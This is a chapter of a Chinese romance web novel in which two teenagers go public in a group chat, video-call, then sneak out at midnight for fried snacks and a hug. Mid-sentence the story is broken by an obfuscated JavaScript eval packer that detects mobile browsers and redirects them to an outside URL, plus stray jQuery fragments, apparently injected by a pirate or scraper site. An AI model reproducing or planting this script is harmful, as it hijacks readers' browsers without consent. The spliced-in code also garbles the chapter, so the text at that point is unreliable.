64. 炸淀粉肠
    也不是什么娱乐圈里的偶像艺人,但牧时桉非要在五人群里“官宣”。

    在楼道里,手还紧紧牵着,牧时桉垂下眼单手一番敲打,笑意实在压不住。

    他手举得高,故意越过骆眀昭头顶,她压根瞧不见他发的是什么,两只手都被占用着,骆眀昭也就只能干着急,不会发了什么很腻歪的话吧,比如“这是我的女人”什么的,骆眀昭得承认她霸总文学看得不少。

    呃,汗毛都竖起来了——

    天知道真的发了这种话,那三个人会笑话他俩多久。

    “你发什么了?给我看看。”她用头撞了下牧时桉的手,可惜效果甚微。

    牧时桉笑了下,点击发送键:“好了,回去看吧。”

    两人站在骆眀昭家门口,他松开骆眀昭的手,又没忍住像是撸猫一般在她脑袋顶揉了一把。

    真烦,还非回去看。

    忽然觉得这一个恋爱谈的,牧时桉这家伙有点得意忘形。

    骆眀昭虽说白他一眼,但嘴角还是翘着:“行吧,我回家了。”

    她转过身,钥匙几次都没能成功插进锁孔里,她死瞪着自己不受控制的手,死手你开门啊!

    牧时桉也没着急走,双手插兜,站在一层台阶上,饶有兴致地盯着她的背影。

    骆眀昭知道他人还在身后,被看着更不适应,开了门历经艰难万险,总算是转动锁芯。

    她赶紧拉开门,飞快地进屋,玄关防盗门关闭时,恰好林雨彤打着哈欠从卧室走出来,半梦半醒。

    “你家门锁是不是该刮点铅笔芯进去啊,半天都开不开,我都准备出来给你开门了,”说完,她仰起头悠悠问,“你跟牧时桉在一起啦?”

    骆眀昭太阳穴跳了跳:“你看群了?”

    “呵呵,你男朋友够有意思,挨个@一遍,明明都在一个群还要单独通知。”林雨彤说。

    骆眀昭瞪大了眼,赶紧拿手机察看。

    卅:【以后叫侄媳。@nauxl】

    卅:【我跟骆眀昭在一起了。@rainy】

    卅:【同上@XY】

    卅:【@所有人,收到回复。】

    “他有毛病啊!”骆眀昭捧着手机笑骂,忽然觉得即便不是那种令人手脚蜷缩的情话,就这么官宣,他俩也能被笑话好久。

    rainy:【已阅。】

    nauxl:【已阅。】

    nauxl:【不是!什么情况!发生什么是我不知道的!朕的皇家情报处呢?】

    “你们还真要配合他!”骆眀昭呲牙咧嘴。

    林雨彤看到她买的早点,便垂头敲着手机,边朝着饭桌走:“我就说你俩真的是很般配,都相当抽象。”

    XY:【已阅已阅行了吧!晚回几分钟,不至于打电话亲自通知我吧!知不知道现在才七点十五!】

    卅:【知道了就继续睡吧。】

    看着群聊的骆眀昭:……

    -

    按说正是暑假期间,空闲时间又多,两人还楼上楼下住着,两个小情侣应该天天腻在一块才对。

    但可能是准高三生的身份在那摆着,也让原本心态平和的王乐萍两口子临时起意开始鸡娃,从上海一回来就给骆眀昭找了个一对一的物理辅导老师。

    牧正云被梁父梁母撺掇着,也给牧时桉在梁若璇平时上课的那个补课机构报了几节语文和英语课,牧时桉这两科成绩拖后腿也挺严重的。

    别提林雨彤又要忙专业,又要被亲姐盯着文化课,整个暑假生活居然就薛游一个人是自由之身。

    牧时桉全天忙着,上午去驾校练车下午去补习,尽管晚上还算空闲,可骆眀昭却还没进家。

    骆齐给找的那个物理退休老教师家在城西,她教得很好,但离得远,而且因为人岁数大了需要休息,必须午休,骆眀昭就只能等午后一点多坐一个小时的公交去她家里上课,上到七点,晚饭在附近的爷爷家吃,每次回来都快九点了,她也没了再出门的力气。

    既然很难见到几次,于是每天晚上按时按点,骆眀昭会跟牧时桉打视频电话,毕竟要总是时不时溜出门,家里人不免得会怀疑,而且小区里到处都是跟骆家牧家的熟人,万一被瞧见——

    冲完澡,骆眀昭头发还半干就着急地留跑回房间里,反锁上门。

    “……怎么样,今天背了几个英语单词啊?”骆眀昭总爱拿这事笑他,刚坐同桌不久她就发现了,牧时桉英语说得还行,语法也不差,就是不爱背单词。

    手机屏幕那头的牧时桉靠着床头,对她这种逗弄也无可奈何,索性挑挑眉:“四十多个吧,你要考一下吗?”

    怎么忽然摇身一变成问答环节了,骆眀昭双手抱着手机,猛地让她想脑子里还真的一个词都没有,搜肠刮肚半天,她憋出来一个:“hesitate,犹豫不决,知道怎么拼吗?”

    “h、e、s、i、t、a、t、e?对吗?靠发音拼出来的。”他倒是实诚。

    骆眀昭笑着:“对喽!不过熟练度需要加强哦。”

    “我倒是有个单词,拼得特别熟练。”牧时桉忽然悠悠地说。

    “什么?”

    “hamburger。”

    骆眀昭带着入耳式蓝牙耳机,他声音又低沉,讲英文的声音传进她耳道里很痒。

    汉堡?这单词怎么了?她脸上带了点疑惑。

    ——“我背单词呢,hamburger,发音不太标准读成汉堡哥了,你别误会。”

    骆眀昭猛地两人初识那会儿闹的这个乌龙,别提多丢脸。

    “牧时桉!”喊他名字时刻意压低声音,右上角小屏幕里还是映出她恼羞成怒的表情,“这种陈芝麻烂谷子的事你还要提一提!你真没意思!”

    视频画面拍出来还是有些模糊不清,因而没能拍出说这话时,弯起来的眼眸里,那丝丝玩味。

    他笑说:“我觉得这事挺有趣的。”

    夏夜无比漫长,尤其是明知他俩只隔一层楼板,却只能可怜巴巴地靠手机视频来联系,骆眀昭就莫名很不爽。

    窗外蝉鸣扰人,她侧躺在床上手机拿得近,屏幕里只露出她半只眼睛,骆眀昭往下滑了下屏幕,此时此刻已经凌晨十二点,家里人都熟睡。

    “哎,不然咱俩现在下楼呗?”骆眀昭忽然开口说,语气带着期待。

    已经有四天没见到牧时桉了,上次还是帮王乐萍下楼买调料,她顺带把他叫下楼陪了自己一会儿,这对刚刚恋爱的人来说是不是少了点。

    即便骆眀昭左扭右扭,一个小时的视频电话粥变换了无数种姿势,牧时桉始终就是那一种,靠坐着床头摄像头对着他的正脸,大概是知道骆眀昭喜欢他这张脸而故意为之的吧。

    心机相当深重。

    他顿了一下,面上神色如常:“现在?”

    “对啊,”骆眀昭不愿意直接说想他,忸忸怩怩扯些别的,“嗯……就是想吃宵夜了嘛,去吃楼下炸串吧,你陪着我一块去吃,想吃炸淀粉肠,或者炸馒头片也行。”

    骆眀昭原本以为他会答应的,因为自从谈恋爱这小半月以来,她发现牧时桉什么都会答应她,比如很老实地每天拍给她今天吃什么,每天出门上课前,就会在楼下等着骆眀昭推开窗户看自己一眼,挥手说句再见后再离开,等等还有很多。

    “很晚了,先睡吧。”牧时桉却把目光瞥向一边,轻声说。

    “……”

    这时候显得他多么爱好健康生活,平时跟薛游半夜游戏的人又不是他了呗。

    骆眀昭觉得自己打从跟牧时桉在一起后,也有些矫情了点,很像王乐萍女士平日在家那样,不知道是家族遗传还是恋爱人士的通病。

    “哎呦,很快的,大概就半个小时,我们悄悄去悄悄回,”骆眀昭坐起来,连带着晃晃脑袋,莫名有种在撒娇的意味,说了半天,还真给她说馋了,“好久都没吃垃圾食品了,看着楼下灯火通明,你不心动吗?”

    她说着下床,快走到窗边打开后摄像头,冲稍远处小吃街拍着,小区内一片漆黑,更显得那一整条街巷灯光闪烁,热闹非凡。

    屏幕那头的骆眀昭还在试图劝着他,牧时桉握着手机的力气有些大,他安静看着骆眀昭,喉结似乎滚了一下,呼吸紧促。

    他当然想见她,从正式在一起后,他们的每一次见面都是短暂又快速的,像是搞什么地下接头行动一样。

    最近那次陪着骆眀昭去巷口小超市,一路上全都是人,他们还不到能正大光明牵手的时候,尤其骆眀昭左右察看就怕被熟人发现,只敢在无人处,手指蹭过时悄悄勾在一起。

    牧时桉不禁仰起头,他与骆眀昭所看到的是同一片窗外景象,绮城夜色宁静而又幽深,同时在寂静之中,隐秘与悸动是又一主题。

    也许是情难自禁,他脑子里浮现这么个词语。

    在幽暗路灯下,亲密相拥,牧时桉忍不住地去想,这个年纪的男生似乎逃不开这种不知来源于何处的渴望,他怕自己冲动,这是他的真心话。

    屏幕那头仍对着窗外,骆眀昭迟迟没有将镜头转过去,大概是有些恼意,两边安静许久。

    “下楼吧。”牧时桉轻叹口气,最终还是败给她了。

    屏幕那头骆眀昭激动地小声喊:“真的!那赶紧,我们换衣服下楼,淀粉肠俺来喽。”

    看起来吃的还是比他更受欢迎,牧时桉笑了一下。

    几分钟后,骆眀昭死死压制呼吸走出卧室然后将房门紧闭,虽然骆齐和王乐萍睡得很熟,但只要制造出一点点动静都还是会引起她的心脏剧烈跳动。

    她拿着钥匙手机,蹑手蹑脚开门,迎面牧时桉已经站到了她家门前,给骆眀昭吓一跳。

    出点动静啊,大哥!想把我吓死!

    骆眀昭调整呼吸,又跟小偷一样走出家门,轻轻地将房门关闭,等到门彻底关闭,她终于舍得大口喘气。

    “这么怕被发现还要吃?”牧

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234243|151373||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    时桉挑挑眉,语气有些揶揄。

    骆眀昭睨他一眼,气得不行,如果就她自己,被发现不过挨打一顿,可偏偏旁边还跟着个家伙。

    “你要不要去,不去我可回啦?”骆眀昭哼哼唧唧。

    明明她想吃炸串,现在好像牧时桉求着要出门一样。

    “去。”牧时垂下眼笑,然后就这么恰好地牵住了她的手,甚至在不经意间十指相互纠缠着,紧紧攥在一起。

    他们没这么牵过,如此紧密,骆眀昭开始压根没发现,因为偶尔跟姐妹在街上也会这么牵,可直到走出楼道,她才反应过来这跟从前根本不一样,那感觉更温热,更有力些。

    在月光下,骆眀昭眯起眼去看他们握住的手,耳根逐渐红透。

    他干嘛?连点前奏都没有,就这么直接?

    可即便脸热,骆眀昭也很喜欢这种感觉。

    他们心照不宣地谁也没有提及这个微小改变,牵着手往小吃街走,只是都收敛不住唇角笑意,尤其是骆眀昭,不知道绷成什么样,才让她没笑出声。

    不过十几步之隔,到了小吃街就仿佛来到另一个世界,各种对话声掺杂在起来,刚好卡在不聒噪很热闹的程度。

    在这条街吃这么久,骆眀昭也有自己的喜好取向,她领着牧时桉来到一辆炸串车旁,对着摊主说道:“老板,一串炸淀粉肠,一串炸小馒头。”她又问,“你要什么?”

    想想自己吃饭的模样,还是不影响她夜宵的食欲了。

    “不了,你吃就好,就这些?”牧时桉问。

    骆眀昭点点头,就这些,她只是馋不是饿,尝尝味道满足口欲即可,吃太多晚上会睡不着觉。

    油锅沸腾,骆眀昭伸头望着,幸好就他们两个客人炸得很快,没几分钟四串就被打包装进纸袋里,递给她:“走吧,我们去楼下吃。”

    这里人太多,她想跟牧时桉两人呆着。

    果然走回楼下,周遭就安静很多,虽然简陋连个坐的地方都没有,只能站在路灯下借着这一点点光源,骆眀昭也觉得她选对了地方。

    下楼的这个决定,果然是相当正确的。

    骆眀昭靠着墙,从口袋里抽出一根淀粉肠来,外皮划过纸袋还发出沙沙响声。

    光听声音她就知道咬下去一定很脆,事实也是如此。

    “好吃吗?”他轻声说。

    骆眀昭笑起来,美滋滋吃着:“味道真心绝了!”

    牧时桉目光就这么一直落在她脸上,只要看着她开心自己就很满足。

    他帮她拿着塑料袋,另一只手牢牢地牵着她,路灯下她仿佛含着水的眼神更为清亮,那是独骆眀昭才有的,令人沉迷的目光。

    牧时桉忽然有点不敢看她,硬生生强迫自己移开视线。

    “看什么呢?为什么不看我了?”骆眀昭这时忽然戳破他,眼眸含笑。

    她故意去逗他。人是敏锐的,能察觉到有人在凝视自己,尤其是在五感高度紧张的情况下,牧时桉大概以为她在没心没肺吃着,但事实上心间汹涌。

    太安静了!还唯独就他们两个,她捏住那根竹签的手越发得紧,甚至可能泛白。

    牧时桉怔愣片刻,才缓缓抬眸看她,两个干净的灵魂就这样赤裸着四目相对。

    他感觉喉咙干涩,哑得几乎说不出话来,只能勉强挤出来:“你觉得呢?”

    哇,他这人很鸡贼唉!骆眀昭忽然觉得。

    总要在这种时候反问她。

    骆眀昭把手从他掌心挣脱出来,微风拂过,他顿时感到空落落的。

    却没想到她拎着那根空空如也的竹签,小跑到垃圾桶旁边丢了进去,再次回来时,反手牵着他。

    其实若不是她吃了炸淀粉肠,她现在很想亲亲他,只亲脸颊那种,因为他现在有点呆,超级可爱的,以至于心脏软得一塌糊涂,明明是酷哥脸,为什么搞得这么纯情啊。

    唉,算了,还是得她亲自出马——

    骆眀昭扬起头,微微笑着看他:“牧时桉你凑过来点,我跟你悄悄说个秘密,超级劲爆!不听绝对是你今天最大的损失!”

    牧时桉愣了一下,还是照着她的话缓缓俯下身,侧过脸将耳朵露给她,等着她开口。

    而下一秒,汹涌而来属于少女的气息蔓延着她整个鼻腔,骆眀昭额头轻轻抵住他的肩胛骨,手臂也虚虚地环住他,就这样拥抱住了牧时桉。

    “我说什么来着,不听是不是你今天的损失?”她声音闷闷地从牧时桉下颌出传来,虽然她听着像是很自如的模样,可实际上脸烫得出奇,不敢贴着他也是怕单薄的短袖布料会将她此时的热意传递。

    牧时桉身子僵住,垂下眼,她就这么抱住自己,他努力缓和着呼吸,很轻地回了一句:“嗯。”

    他没敢伸手回抱她,他担心克制不住自己。

    浅浅的拥抱结束,骆眀昭起身,努力朝着他笑。

    “一个小礼物,感谢我男朋友陪我偷溜出来吃宵夜。”